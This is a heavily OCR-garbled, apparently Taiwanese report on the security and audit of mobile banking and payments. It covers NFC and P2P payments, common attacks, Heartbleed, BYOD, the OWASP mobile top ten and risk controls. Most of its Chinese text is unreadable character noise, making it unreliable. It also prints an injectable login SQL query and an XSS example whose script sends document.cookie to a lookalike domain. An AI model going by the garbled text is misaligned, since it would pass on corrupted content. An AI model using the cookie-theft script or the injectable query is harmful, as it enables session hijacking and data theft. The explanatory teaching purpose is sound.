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(1) 42i7 ¢ o (2)R 2 p # P28 (Advanced ATMs) (3) & 4 4 & (4)
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(E)FEREF (O BRE)FUT AR BRI IR

1.37pE3g3  £ +f Near Field Communications (NFC)

NFC (Near Field Communication) & - f&E§E4LE 47 & 53 2

;AT Ea R (NFC) #4807 * 20 G My i @

2.Visa + | £ & #} Visa Personal Payments (P2P)

Visa+ B A4 H 2 ERBEHRDIDIFLEF ZEFTHD Visa
TH+ ~Visa £+ %2 Visa &+ &Ry F)E 2 o Visa 23Rl = IRIE
hH i gtE UL 2500 %2 > R & 30448 - BaIFEX fj‘f‘”
M RERALT  FRAFT CATM & A iR E L A g iR = o

3.8 ¥ &+ 3 % MastercardSend

g % £+ 0 MasterCard Send & [ #r4a d14g i Visa + B 4 &L
('Visa Personal Payments) 2. i ~ & & JR33% > FT 247 Fo o 7 i‘ [t vl
PETHECI I REREY 4 2 X BRG] o FIRIERE
A~ R AH ARG G RT I RRR 0 E R B 14
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LTEFERERFEL pIEEeFE2-BTE » ) by
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6.+ B3+ & ¢ (FIS Mobile Wallet with Cardless Cash)

AEBEF TR P ELPENATM BRI LT ESL
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7.1 ¥ 7 24 Remote Deposit Capture

PHEBMBpIAFFOALARY pRETBATM) > T & £ 48
B LR AR ,IA,? iEE R BT~ 7 WA LB B
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BERGNPRIFHTRIENE BANENERY CEH-S AT

B FL 2 o

f??&?ﬁ%%’@&ﬁﬁﬂﬁ%{ﬁﬁﬁgﬁﬁﬁﬁﬂﬁé

PB4 R AR LB SRR A AT
AT E® F A& (Man-in-the-browser)

F AL BRARY FRIGY A I TR TEITE

ﬁ%%éﬁ%éimﬁ%ﬂo
(2)® & X s=& ( Man in the Middle)

FH e L BER s N FEH R L B B 2
Ll 7 PR E S ARBER T P AR FRE L
PR >4 PUEEARAY DA BB LEFIREE

RO RFHEEREI AT DAL
(3)Fe4tis4 (Key Logging)
Fegbie gl AR AN Ted B A BT FME L FHML AT
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(4)ik s 2+ 3% (Session Hijacking)
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i Jﬁi.%‘é’:'?é%ﬁvSessionlD LR RT R
TR D HPE R DB A BT -
(5)% x4 (Pharming)

%‘EE’ » B T e~ A8 425 (Trojan) » 244 £ A1* & & @
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(6)4 & % == (Phishing)

£ 4 R AU ST D MR F R g 0 g2 et
HERY FLEL P PABATH A S PEFTAIY DT

SR ERTI
(7) SQL 7 kL& s & (SQL Injection)
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(8)Es =k 4r & rx# Cross-Site Scripting(XSS)

FI* gesb b gFi gy ¢y =4~ HTML &
Scripti# 2 "> H B T Fir X g_g_—g&;&‘pfﬁkaﬁa;‘zﬁjﬁggiﬁrr
FrIRAFPER RG> SR EX T TR -

=~ (7 & PRI (Mobile Financial Services) 2 H 373tk SLE 4

(- ) 78 & g PRi+PEsk (Mobile Financial Services)
1 PRFERBTIRF/FHFREFTER

FTHRRAIBAZ2 L2 0mawd 3 a4 FRET22E 2204
TR P2 A TER R SL£ 2L A 2ES400%E < ZIRY
i k- AT E M0 EA LA RHeh- £ 22 ATM 2 $0.61
EFAFHAFTZ0I0EA(HYL FIEFEL BRI Ren1/6) ) PREFT
%o WZ 000 %A(YAFIEELRR S henl/44) FILEFRE L Wb
FREXDRBZ SCAR N2 » A HE B ESREHRT IAF/FTFHER
FaBRSRAR ITHRETIAF/FHERFF BN ERLFIEEN &
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Average transaction cost in the US
(includes labor and IT costs)

Call Center $4.04

Branch $4.00
ATM
Mobile
IVR

Online} $0.09

Source: CEB TowerGroup

B P RRERRGTR RE 0 DAk NRERAFE D
Pt o B 62% o

Figure 4. Please tell us if each of the reasons below are why you do not use mobile banking

My banking needs are being met without mobile banking

| don't see any reason to use mobilz banking

86%

I'm concerned about the security of mobile banking
The mobile phone screen s too smal

[ don't frust the technology

| don't have & smartphone

It's too difficult o use mobile banking

| don't do the banking in my household

My bank charges a fee for using mobile banking

14



2ERAEAF BT LI G Tt

PIHATEA LB L GE AT Bt o 83 2015 £ 6 ¥
(2015Q2) » % @ ¢ Android & % 8296 » # % ¢ i0S it% 139%% H @ % 4r
RIM 12 53 ¥ % 5 - ficiic 0 Windows Mobile (Phone) ~ Samsung £
Bada # Nokia 2 Maemo % & it %) 59 - P i E AT L s H F
SEEE DEEES LIS LN RN RN i s
2R RARREFT A o

Worldwide Smartphone OS Market Share
(Share in Unit Shipments)

90%
B0%
70%
60%
50%
40%
30%
208 \/
10% w

,P{‘fdb ,@O& Q@O? ,@@& ,LQ*@& ,E,i‘-'db ,ﬁg&& @x“d\r ,&x"‘& 1&"& 10@‘0? @«E’d\’ A&m‘?&
Source: IDC, Aug 2015 Android —i0s ——Windows Phone ——BlackBerry 05 Others

(=) Fd & PRI F A S iR

176 & f i e it

(L)% == * 4 APP 2 IE ~ L j4(Firefox)* Chrome % 7 % -
(2) & ﬁ%lfé’a Z_: SSL/TLS, HTML, HTML5

(3)Web &R E & 1IS, Apache
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(4)&* #2355 %5 : Perl, CGI, PHP, JSP, ASP, Python {- Ruby %

(5)F#L £ : Oracle, MySQL, SQL Server, DB2

2RRFHAL 2AHARE

(D BTAEPREE bR L2 Up VTR e (Extranet) ~ p 3
(Intranet)2 & & % (DM2) % -

. Internet

‘---lﬂ..Il..
A

(2) % 4 = (Switches)

@E:d &

Ol

(5) » & W plHer &% 3L (IDPS)
(6)2-& ¥ % Demilitarized Zone (DMZ)
BRI H B o™ Ao
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| rite rriet Service Provider

Barking
Customer formational
feb senver
= L Tiarsacional Other enterprise .y
B\ Web s enver Y envice

Internat Bank rl'lainfrar‘fl";eeﬂlle o Provider

1y -

/] E-Mail s ey«

. ﬁ EsternaiRouter
BExternal Rouh
gl
W

Statt al
worcstations LA servers: Staff  LAN servers:
login, file, print wokstations file, print

10
PRITFORGEETELS T AYUEFT S RRTH - B 2t
L 35 2 L éy.ﬂﬁigq+(factor),gl_ﬁp¢, Rtk Ak T 2K

PR fEL B A2 R Rl fod SR e BR

Internet

> ™

Where are the
ComponentS Web Application Data Source

Server Server  (Database)

located? - I
Who has control?

(00RET
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ST MR
B ke 307 #* ¥ % 6 B4&(Presentation Logic) ~ # ¥ 7
e (Business Logic)fe 3 #L % B&z&;ﬁ.(Data Access Logic) » 4 B ¥roF

- ™
Presentation Business Data M
Layer - Layer . Layer .,
Presentation [* Business = Data Access [* Database
logic logic logic

~ g

'fé*‘ﬁ?fﬁl&ﬁﬂé-?#ii lé’*‘?f"riji‘&-)uléﬁ‘k{v{?‘}-l%]
AR AR AT RSB RE AN THEITEE
P P8R T AT R ETRERE R B FE ek p FHREOT

FitHRET UL mA F LERBE A2 2K BT 2552 SRR 2
FEBE2 I NE R ESE ’f#.(lé’* # F e 5 ti4e t Python 4v PHP
4= Ruby » SQL » Oracle % ) » 4=~ ] #77

Presentation Layer Business Layer Data Layer

h 4
Presentation logic OJ l—'

-
.

Form

Form

[

-
L 4
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BIERE (RS0 T -

,%; N-Tier Applications

Presentation End User's System
18] (HTHML, Windows Forrms, etc.)
Physically on the client's machine

tel 3fe= the separation
between the Client
and the Server

Distributed Logic

The Web Meeded to connect to the
Server-Sided IS Proxy Layer on the server to
- Send and Receive requests .
Presentation | (vescript, JScript, Web Forms, m?':f"t 'L‘t"g"e
- . indows-based forms,
Loglc Tier CF; VEBLNET. =) a custom application, or
Producing: HTML, XML anything else the client
DHTML, WL, etc. Proxy Tier is able to display)
(E0AP, CORBA, RMI,
o~ DCOM, etc)
=
=1
v Business Objects and Rules
" n Data Manipulation and Transformation into Information
Business Tier -5 Could be designed in a stateful manner
b}
)
O Interfaces with the Database
Data Access | g Handles all Data /O
Tier = Made to scale, usually stateless
—=
g Storage
Data Tier S Query & storage optimization
S

Performance (indexing, etc.)

AREYT FE 2K AT 252 3R SRR BT AT

____________

server
interface)

S— request 5QL query; data

>

—
—

==

response data

-

Web Browser
(Customer)

Web Data Source
Server (RDBMS)

28 B A E A L
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-------
o

‘
---------

E Web Trans- | | Busi- Data

. ' action ness Reposi-
+ pages . Data Logic tory
Tk Tserver
interface)
E committed
request = query; data = Iransacriﬁ =
— >
- =
= — — SQL batch
1 = b . data; (P} calls =
< response |—| [|=0F < | formatting _|I== - updates ||—
Web Browser =| E E:2 = 3
(Customer) S S 4 —
Web Application Data Source
Server Server (RDBMS)

3K ALN % 4T L F

LT R BH AT SQL

(1) :%f;ft 393 7 (Structural Query Language » SQL) > & - fa455k F
2 fBFET PN FTHREY HERAATT 07 ABAREL
E# (Select) -iF % o4k

#"J",f (Delete) - “f;

g #7 (Update) - { sxizér

# »~ (lnsert) -; Ao - iE 2o

® T A&R* FROMip s » % ik 2R 5 WHERE 45 4
(2) B A o4

Example:

SELECT * FROM Account_Table WHERE UserID= ‘123’

* -wildcard that indicates retrieve all columns in the table
« FROM Account_Table -retrieve field from this table
« WHERE UserlD= ‘123" -retrieve the record associated with a UserID of

20


https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E5%BA%93
https://zh.wikipedia.org/wiki/%E6%9F%A5%E8%A9%A2%E8%AA%9E%E8%A8%80

gt N2 SQL A4 0@ d 3 SQL 4p 4 i

P EF I SQL ehe & 2 Vi
TAL R F A PR BALA R PRI BT 8k Bk ¥
%0 M A VBIESRF o A BBFR N FRF R (W or 1= )
EF RN BIEN ST AR L E oA A G R R ME AR

*E SRR o gt fa ST B S L SQL A~ "2 8 o (SQL injection )

ZCRIRFIFHRFTAS 2RYE
(-)¥rZ%E
1.%3% Vs, £ vs. ¥ 1.
(D%=
B - B BHIREI AP EVRY S FRRBERESLL
Sy P o
QB EA TP AEPTRT LRR T X BB
(3)F ity s ¥ 133w (identification)id ;ﬁfva\ﬁsw-frgzﬁaaﬁ o
Accountabitity _

e ™

P

/g

MEIUMRNY /

21



A

(1) iz #r4eig ek & (Something you KNOW ) » 4o @ PIN ~ %5 ~ tE 552
& * Jrff & #-(User ID) -
(2)it=d3 vk & (Something you HAVE )

X 7% % (Token) ~ SecurelD ~ + 5 2 F&E+ -
(3)i% & £ (Something YoU ARE) : 4 $= 3h W $Ljiv > 4ot 4p R 2 Jr il o
CLEP TSP TS+

- BEERENE LG HP - D FEFREBAHE e B

;\: s 5 ﬂ—%;&;ﬁ_/}r‘ﬁ 5 [P ";v;\ o

TR TREFSF TS RRE > WA 4 DREFERD

= WYSIWYS
22
Meaningful
o X user prompts €
Y Electronic i . .
@ : MitM with Social Engineering
signature :
MitM = ">
Time-based
oTP
te D Q

Phishing
Pharming

Keyloggers Virtual
keyboards

Static N oD
e (,c-unter‘baspd

e orP
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® BiESRE (KA FaFili- k)

® PR L AT G MG G nE R s

® RS MIrdlE KB SRS

OEE T3 ST BRI

® I FF iy riEH

® ) EHipl

® LtEBAHA L BRERFIORE FE

(3) 8P & PIraR & 484 PE R R W

(A)ss L A %R FE S FEHRERYNEE a2 AN REA- BRZ
At &7 ir % gk

Ve +8GAFIFHREFZTE S FE%E

()75 e F T RABIRLLEF

B) - B FAH - TREATOR % 0 REWHIF AR Y LFT
(AFeREY /AL EEE LT F RS root? g Fp+ 734

EO2RARYFS? 40T BT
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Jail broken?

Location?

O,

o

(=) ®#2FF
1=+ % B F 2 HF
(1) SQL *& 75 =¥ (SQL injection)
FANEY AN FTHELX 2RF Mi%] rehz g 2@ A% SQL 4p
FoRRN LR A A €ij*‘u€%‘ﬁ;‘?’?ﬂ‘¢i)ifﬂ?~$?€&% ¢ f HSQL

TR EREILE HEE S RN
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https://zh.wikipedia.org/wiki/SQL
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BC%8F
https://zh.wikipedia.org/wiki/%E8%B3%87%E6%96%99%E5%BA%AB
https://zh.wikipedia.org/wiki/%E8%B3%87%E6%96%99%E5%BA%AB

Welcome to
Online Banking

> ~
- N
i
Please Login SELECT UserlD, Password FROM account
-~
~ YWHERE UserlD LIKE ™ & request.form("U serlD™)
User Name:
AND Password UKE " & requestform("P assword") & "
Password: ~ L

e
Login jCIecr — /

e e—— — — -
Clicking "Login® executes the following
S QL guery on the database.

(2)ks 3 2k45 £ 7% (Cross-site scripting » & ¥ f§f £ % XSS)

- fabt FNhX 2Rk LFERL R KRR B
A

R o Heir X ﬁ_ﬁézﬁﬁﬂ%iﬁg%;q%_@ggoéﬁﬁﬁ?ﬁ% ‘5
HTML v 2 i€ * 3 570438 5 (Script) -

XSS e 1% R T BFEREG T hikik o > ERAp LSBT
e X

3
AR r 2 REAFFEL UL T RS TS0 8 H 1

Bl R RET ~ g5 cookie * AP F o L ER

INEJ

I
=)

T A2 5V § & JavaScript 0 =+ # 3£ Java - VBScript - ActiveX - Flash
tl

-g' i e HTML -

25



https://zh.wikipedia.org/wiki/HTML
https://zh.wikipedia.org/wiki/%E8%85%B3%E6%9C%AC%E8%AA%9E%E8%A8%80
https://zh.wikipedia.org/wiki/%E4%BC%9A%E8%AF%9D
https://zh.wikipedia.org/wiki/Cookie
https://zh.wikipedia.org/wiki/JavaScript
https://zh.wikipedia.org/wiki/Java
https://zh.wikipedia.org/wiki/VBScript
https://zh.wikipedia.org/wiki/ActiveX
https://zh.wikipedia.org/wiki/Flash
https://zh.wikipedia.org/wiki/Flash
https://zh.wikipedia.org/wiki/HTML

Vulnerable site

that the request Vulnerable ::r:::g::
is being sent to application\ variable 1‘
<a href=h1rtp:p'."\u"w'*qﬂ.ﬂ.'t.f.sam_l::-le.{:t:'m.'r‘é?j..as!::-’?ng?ne= A
<FORM action=http://www .sannple.com/data.asp
method=post id="idForm">
<INPUT name="cookie" type="hidden"> "~ Notice the
</FORM:>=> domain
<SCRIPT> idForm.cookie.value=document.cookie;| hamels
idForm.submit(): P slightly
'c:fSCRlPT} |} different
Click herel
</a> f
J4 7
Text the user Cookie for www.sample.com being sent to
would click on data.asp application at www.sannple.com

()l & &k (Heartbleed)

OpenSSL ¥ - Bf £ aengiiz1 2 & > @ * SSL fr@ﬂaj}é] R
(TLS) t2ik4c % o SIS Bk 1 I A de 24258 2 OpenSSL 2 4258 4
W RE Y 3 AT OpenSSL &4 A PIRER A B F,i',% >

v 1@ R DI o RFILR (7 TLS chif oo # i pRit g e S F Y
St (0GR E) > TF UE BT A o3z e Bl §

f Hea
(115 Heartbeat Request P
— abc > @ Other stuff on the
Request Length = 30,000 bytes ,_,.-"'"H hf":'hﬂi- fﬂﬂﬂﬁ:ﬂi.? .
Actual Length = @ : possibly certific
‘ ;  bes G passphrose, oocounts

3 o and posswords of
'\_) TLS Heartheat Response web site users, credit

=
‘_< abc<garbage>mycertificatepa }7 - card info, etc.

s31A0 00

ssphrase<garbage>username
& password, etc
Response Length = 30,000 bytes len=30,000

data="abc"

SEEL 2RFHERBIEE " 2 1'%

(DZikiF 7 s B2 583F 5 % 2 Web B * 4258 o PR 5%

(2)iz P i PR * AR S PRART A R 2 AU £ BB R Y DA kb

(3)4r B B4k ~ FH 2 (authentication credentials)fris % L P w & B &
26
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https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6
https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6
https://zh.wikipedia.org/wiki/OpenSSL
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F%E9%94%99%E8%AF%AF
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F%E9%94%99%E8%AF%AF
https://zh.wikipedia.org/wiki/%E8%BE%B9%E7%95%8C%E6%A3%80%E6%9F%A5

PR g A F 4 Ko

(4) 2 A¢ i A e en(s + 1 genfe® 4250) 1y ERPHET R F L
By 4 R iR 0 & @R RS 2 L i AR ¢
ST RE TR R R R R R TR en )k SR AT TR B o
(B)RACH ] n & FABHET & & Fod % b % > FIL Rk A SRt p &
HIRARL PR G ORGF iR

(6)d »+ (B YLyt dl ~ RELE ALY BRI AFE 0 B S TR R ER

% R Y & R G -

(Z)¥ p e eniFde % E %+ ¥1(Bring Your Own Device » BYOD)
1.BYOD

prF R IR SR TR RS eSS LR E S T
IR e B2, Té%«?j;q‘:ij»@@_éﬁw Rlpdbird i raic, Bginy
SR HEMAMA A B TR L EEIRADASER A g

Pl Aok S BRR G S TOL 2P LA TS AR W

B R LA L AR R AR RE T A
BHC QROER AR F AT AOREBPBHLIPRTHE LSBT
Zha<i BYOD sel 8t 1t ® 7 ffodk 2K 2 R ipdI2 B
SRS T o
2.t BYOD 2. b @ > A h A2 %A £ @i d § Bk BYOD
ol A EY o AR E F i BYOD  RIFEHE 2R AT H Y
0 ey BYOD REMEFHFF I 7R 2 F B BRI
EACE 2B A TR 3B o

3.1 8 £ ¥ 47 ¢ (Mobile Device Management ,MDM)

()MDM £ & ¢ I {7é K8 K K 2 &AL oip b JRIE & Bis e 4
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$ BYOD 3% 8 % %
KADRERE-RAP B 2 PHRBEEH L BH 2 i
2 A2 E o
QFfEE AL PR T RLF I T AR > TG
X R FPO AP EARBEET AN TR AR D AGR
e3P Flpt i ié * MDM 4] v 10 e &
BB TR T
(=) B* 450 RE
4% 2009 £ Gartner Group = 3 445 > P H e E5cH }
TSN MEL T ARG NF 2L ARV A EES Y
BlARTREZPIEEI BHAR? AT 2NBF > ERARET IRALFL
A~ RIFEE BT
1.7k 7% & Bl (R 475 & )
(DR R ¥ 115 e ol BhiF ot $t > S R4 ahp B 7 4 47
PAE RN ¢ R 255 B AT H 5 BBATR ORS00 5

ﬁ:

o

—

AT ESE S BEF AR T E AN AN B FIRA o

Q)BFBWRIT A LA THRPIE B HRR o A TR AP
A AR ARNE S NENEY By X 2P S SRR R
FPEF AR REE TR AR NRY AN RF AL
RN RRPTF A B D RN FI A BEE R F R R G R
P B R R R] D R B T E AR - B e A AR kR
BERIRELSEIEBHFLDEL W A HL AL P REEIR
2ABCREFRBIG FS AR RRINEE D E G Y
(False Positive) % J&4R > FIS RS v A T HFp d L RPl1 & R
TR G X 2HRP
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2.1% 1% i3& (Penetration Test)®r OWASP Web & * 238 Rl R4

DB RBEILETXTETHH 2P RFEGRBRLT 2EH > v E8H
EFEPRREFLALIETEFRPG N IRFTANRF > B RENR
%&&#E$ih%ﬁ#ﬁ*ﬁ#4%ﬁé%ﬁW$°

(2B PEAF ERAPIREF AR AN > FEPREERE T
THE L KT TR LNE > FERIREARS S s
BE ~ BT [neV IRF DA B A 47 T A & 2R T E o 45 ¥ 281
ZFELARFT VAR AR KT A FRETH

Q)R ¥ * e * 4258 RIE R4 F OWASP Checklist - OWASP ASVS -
CWE/SANS Top 25 &% 44 o

(4B it = 234 > §§ & OWASP ( Open Web APPlication
Security Project) > & - B B 3cit¥z Ly flles > 1 & p I 577
ﬁﬁﬁ%%%ﬁ%i%i%ﬁ‘lB—ﬁmvk’ﬁfﬂkmﬁ
PREETHHmET T cOWASP £ REF 2 MW RN XE cht 1358
R fRFEP 4T ¢

M1.% % 2 3 L %& % (Insecure Data Storage)

IRRE TR ARG PRk o AR TR R AR A - 27
BRI FERT TG AARAL(blAe F 0 RELE ) T ok €3

SERETREL CBENBE BRERE -

PR BB AE B AN FR LS APP BT AN AL 5P
JREBA(F 2k ) enfB N 7 TR i gk o
M3. @ 3 % 32 Z(Insufficient Transport Layer Protection)

b B AT T 2 K I bl TR A
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7 23 HTTPS # i R 58 % e APP J* f258 AR % 4> Mg 7

“‘I‘)&

Hen@fhe &1 JA LB FRE) Fi TR g am iRy P AL
7z % (Man-in-the middle attacks) » & ¥ &zt %B’»ﬁé R IR IR C R
ARFHAE -

M4.% = =871 » (Client Side Injection)

(FH K E #T BT AR F 33 Injection 538 s K ivw 4]* SQL
Injection & XSS sz # &£ /2 kF 2L FH L E gL o
M5.% K _en${E 22 323 (Poor Authorization and Authentication)

FhoA R e B AR AT RFolicE R 7L A REL R
Bilde T RS TE KR K A %] 4 (International Mobile Equipment Identify
Number, IMEI) ¢ :d # & — 8% 75 (Universally Unique Identifier, UUID) -
M6.7 i § i R € 35432 (Improper Session Handling)

L —‘g.’éﬁxﬁ % > (TR R A7 5N session HP PR w_g

¥ iz at session 5 d HTTP Cookies ~ Oauth Token ~ Single Sign-on
FANRkEiraE o, B R o RS R F ' session & s ;’zé}*—fg
i3] session el R p E (Blde RN BAB) o K STHF F
B IUd B TR 3 B o
M7.% 23R 5 d 3 % & i hi » (Security Decisions Via Untrusted
Inputs)

Bt AR T A S d BRI F F e A AU 2l
Client Side Injection sz # > A kL 7 XY A WF A2 2 o
M8. R sg 7 4L & (Side Channel Data Leakage)

Side Channel &4p (78 X% @ 9% = = ¥ 425 > U ¥ 42557 4t
gpd Rl dﬁi@f, o AR F R 0 blde ¢ T #75 (Web Cache) ~ &
4 o] 45 (Keystorke Logging) ~ #2~% & (Screenshots) ~ p 354§ (Logs) = 47 %


http://cire.pixnet.net/blog/post/30810748-%E6%BC%AB%E8%AB%87oauth%E8%AA%8D%E8%AD%89%E5%8D%94%E5%AE%9A%E8%88%87%E9%81%8B%E4%BD%9C%E6%B5%81%E7%A8%8B

P 4%(Temp Directories) & » — i :Eca;?dﬂz S BE TR R B fj}u%}z
TR e
M9. 4 % % 3% (Broken Cryptography)

e B AT SR BRI - AR AR R F e D AR Y -
FE5 B e BFE A DI RLfR c OWASP & 11 & B 434 i
iz % o B e ¢ %, 7% (Encoding) ~ 2 4 (Obfuscation) ~ & 7] it
(Serialization) » ‘& 2- 5 B 4e 2 54 1’@?* e s BLEBE e RIFE
EREEEN NS o B AREBL P SN S
M10. &TR 7 3 /8 & (Sensitive Informaiton Disclosure)

Tp M * AR RApAS P o B S R B S R~ AR
¢ F R RSTFE R P E T AR DR A 0 B RIS E N F E T
SR TR BAAPL £k RELA BB E BTN fi S ERIBIEE
G
B* FRBF LB ZRFX > P RP
et RRBE LIFEATHIBEZRFE 2 PRBICE 0 AT BT o
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OWASP Testing Framework Work Flow

Before Development

i ]
DA
i
|
i
H

Creae i Reveas,
Me=irics Criteria
Floars e mann
Traceablny

Cachr Unit and
W BRI O e Sy=tem
Tests

Corfiguration Unit and
et Managamean Swystem Aoceplance
T Rawierws. Tast= Tast=s
Oiparaticnal
i mge |

R D FRTAL 2R E BHFARR TR AR F o

BEMEE  FARBKRR > TR BB GRE 2EFFE 0 £ BFmo
T 2R B AR AR B N R PRI R RS X
P AE A 2 EHB AR o

RIBEE D A FHEFR 2 R LT RS PIE R RRRE L -
PmBERE L PR G I FEREINFR ER TSN
T2 BT T PR FHBEFRE FEPRE

Daployment

Maintenance

LAEF & IR E 8 TRk et 5 B 0 & bR i T b e
'i@ﬁﬁ%’ﬁﬁﬁﬁaiﬂﬁ%’ﬁﬁ%ﬁ%ﬁu#ﬁi%%ﬂi

b
P & mpﬂ;% FE 3 N, F.*;m_i b n"}i""’ﬁ E"f_ﬁéﬁﬁ’fﬁgﬁ'bﬁﬁ‘iﬁ
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PR SRS
2. 4 b TR B GBS
&ﬁﬁﬁmﬁﬁaﬁﬁtﬁ%,ﬁmkf:
(1) 3BYRF AR R PerB = RF LR PATAT2EHAH
B 2IHFFE -
(2)% 33% T2 FRF2FH Fe S 3L R PRERLIF
(3)% 33% 42T A & A RPHBH BN URPTRE 2HH
(4)5*% 50%4 7> FFI - 2L F= LN RPFPRFHER -
3.4 *HIEER %
AT ARPTIRF/EFHET ARD S SL 2R TRIE

FLHCERGLR P TS

(L)% & B &
LRGP (R ) SR AR SRR AE T AR -
Q% BRR'%

g g R iR O R B R R A RS Y AF Tk
R
OLE 3%

AARF LS ARG o T ERD NS T H AR
S L
(CH) 2 N

ERWET AL TR RIRAR B BTN L BRI A
A AL Efortipif B Y ST TR -
(O) e ¥ B *&

AR FE A TR F A T FREFIARR A AL HIRE 2 ek &
BiRAEE 0 Tl MIRITER G -

b
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(6)i% &k *&

BERE ORISR R Y R ARG TR i R R
(K% B &

ZARFREF IS ERTEEE F PR AR N7
LRI
4% ¢HiTE RGP RS

Fad o ivgEerimd b g F AR ER 0 PR K A ERE
(S e R U RS UL S CE S R e
%ﬁ%ﬁ%%~£ﬁ£ﬁﬁﬁ@§£?%ﬁ»%ﬁﬁiﬁWﬂ%ﬁfﬁé
BLPERORERRET S HEIF=BREPFFEF275 -
Hp % ?If‘—l/i' R 4cT .

]

DY pEAFeFFALiTE . TFE2 FEMFAREHEFTEMDY
FREZ pE - RRLAGETENERFNES PN RIFELET 2P D
g B

(2% Hiekw > gmisip e Fracnd Ko Pk 2E AAHERE = 4
T EERLA MR G PR AHL N TRRE - FRFEEF
12 AR AL

Gh "G =FIH P e 7o g ~ P I8EA] S PRESRFSRE 2 T OAT RS
%%’?ﬂ‘ﬁ‘\%%ﬁ&ﬁ‘%%ﬁﬁ&ﬁﬁéﬁ@—ﬂﬁﬁiﬂ
TEAARM R R 0 E 2R R L o

D ERPBHL R PRI BT ] LRTRALE 25 FEE ST

O etz Ry R LR GFRAD > JE2 TR FALHIEL O
ol ohivRad o A 2y R 2

6)F mrF A dp B A FEEETALMFE KIFTFREFRL T

—=R
ar
oy
il

s
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oy RS R TR E R TR R

:1"

Bl
SRS
4»7‘.ELO

%"'tﬁfﬁ‘mﬁg@ %4
S TR T e g E R NFL 2T

A»\\
‘-H%:

s TARE/AFEREFARR R
(C)FHEREEFRRE P

B E e TR FIRAGHRE B RSB
Zﬂ%‘?‘ \.?aiﬁ"j?_?:ﬂ.lﬁ,ji-{hxﬁ?g

o SR R

/ﬂ‘f 'J‘/iiz‘ F
EEREREPHFLiE0 > RA G TSP adf4 4R 1 o

SET STRATEGY

OBJECTIVES
COMMUNICATE IDENTIFY
& MONITOR RISKS
CONTROL ASSESS
RISKS RISKS
TREAT
RISKS

Source: Adapted from Institute of Chartered Accountants in England and Wales, No Surprises: The Case
for Better Risk Reporting, ICGAEW, London, U.K., 1999, p. 47.

()P Hh GFE > st
?f’;—a‘%,z“ffu&"ﬁ?g?’]%f’z < E ) w ?%‘ffu—'l}’i‘}%ﬁ?ﬁ%
(Vulnerability) s+ ic {447 & 2 e 4+ (Threat) » 12 2 $t o3 2

F(Impac)Fz & » Flt o= TR GV B E X2 BF = fhak 0 @
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FERGE:

% =kF X ® P x tFFFESF

33BE=— B A S IER IS AT B (T g

B P=- BEAHIFEA? ARBFTREINETE

HE=AF eI A XL F TSP TR

FEF =T i L HF o

(=) #HEr R g 2L 8L

(1) &t * PARGRL Z MeRledirFH g 250 -

(2) £RPBHERFHRF L ATREoEH BT 25 -

() BIFFL AT e L 2RFL ' ESDL oL "G

(4) wRlzFEfRY TR X 2RF ERPBHEFEALT PR EBH

I CRFRGIFEFRGFR AT BFEREE R SR L

(- )SR %% 45 31 (SR References)
ARERPHATFF DT FRE/FHRFER SR 2 450407 0 i

T R ERELFTRERAED -

(1)SR16-10: FFIEC Information Technology Examination Handbook - Retail

Payment Systems Booklet(FFIEC F 5 ¥ & = # -F & £ i & 5]

P

(2)SR 13-19: Managing Outsourcing Risks ( # 324 *t b *% )

(3)SR 11-09: Interagency Supplement to Authentication in an Internet

Banking Environment( 4 2 427 T35 2. B & B @ AT L p)

(4)SR 06-13: Questions and Answers Related to Interagency Guidance on

Authentication in an Internet Banking Environment ( 4B 41{7 TR 5 2. & & 5
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w#REE)
(5)SR 05-19: Interagency Guidance on Authentication in an Internet Banking
Environment ( #8437 R 2 & 2 RFEE 2 4a50)

)R+ RGFIFEARFRETREL
THRG/IFFERFZEAFTHFLLIVFFIECTF AR ¥k s £

Ad# > FREERBUYTEF H SR 243512 P § Famp

POFRRARBERAT

CRIRF/IFEREFRFFEREIBLR

D)7 ki A# R EH > >N FRERBBE LRy - 22
o2 Bk 'S 2 domip | SRk e 0 T4 N BRI
& fRR o

@)z IT A B#FARLTRFE S N F 22y ARiTFAAFH

AT L2 R A R R B2 HOIRTE BIEFH S et

S Se =gl BRI - T St T C 3 £ SRS s W

P

\\\ﬁr
<l

o
Pl
|

@Byt T 8F/FE T S g2 TR L 4§ %% 1 (Confidentiality ) ~
= &+ (Integrity) % ¥ * & (Availability) -

(AE PR AT R AR FRATRTZ mARS > BHFRELE R
FEieiPl 2 BAREZ PREANFERE P RAFFEILT I NF T I RERE
B o F by R R BRI T o

O)TIREBBFHE2FEPRT T BB FTLEHPSEI AT B R
FISA

2E L BHEPBEAT LR

(1)d % 2 izehs = = %3

(2)BiEZ%FE Rz FaFHRETE - K2 AP L7 L3 77807 5 o4

R) ¥ FPHRERZALET P BITPERoFL kPR ¥ EF
37



G)ER* F FEHREWII LY PHRE

(B)FTH =2 & » #Fu|F & 5L o RENS

SHB/APEERIFLE

% D B B e S g A AR % (PKI) o #8875 B(Soft Token) % &

£ i 7% F (Physical Token) % L $g 84| cn% 2 ¥ t% > ¥ A @ForE ghiv & %

B R ARRGE Ao

(D)%migselt RmE R ~ R ¥ L3 2 (FHR L) RBFRT iR F 3
Lo 2 BB FL2ZEF o

(Q#FFLE = A ID - L ATRA

(QE #HE = F » 5 4 prenE P B o

(A5 F @ % ¥ p e g

@%%%@%%@ﬁﬁUﬁ%ﬁﬂ

AR5k AR IR B

(15 G iR fodf fedd B 4 AN R ATh{e SR L P
SRUAER G E A

QF & F IR frEF § 3% 1 222 PFLATH Ml pRIBF S P
H4F

(REF 2 PFigaf 2 L A7973 K% 2iRF > P IVET T E B HF LK
HATER RIRKF AT ?

4F pe R R I FI(BYOD) K AL B

(DIEE 2 =& P Acipdlad & > 4 g BYOD $ ¥+ i e Ffoig *» ¥ 4
TEA R ehpc oo

(245 21 At (785 8§ (MDM)Fe 7 1307 o s il e 3 7250 9
RRrskEE 0 2 Hpe R KW o

BEFERE1P BAI - L faihisds » T2 40 L
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R R T PITUY PRy B N R T
(GRErr e A TN -
S5.RBKRPRIZZEPBERLEFTBIER

(D) AT RATRE FAL > do D BEFT I~ PREL - AR FOTE ARG

*—h

Bl (5)4e 1 SD +) > F AR ?;J{:;T’grv:;:%:«gg%i;u ﬁq%g;ﬁ_@ PR B

X R I XTI PHF AL A LR o
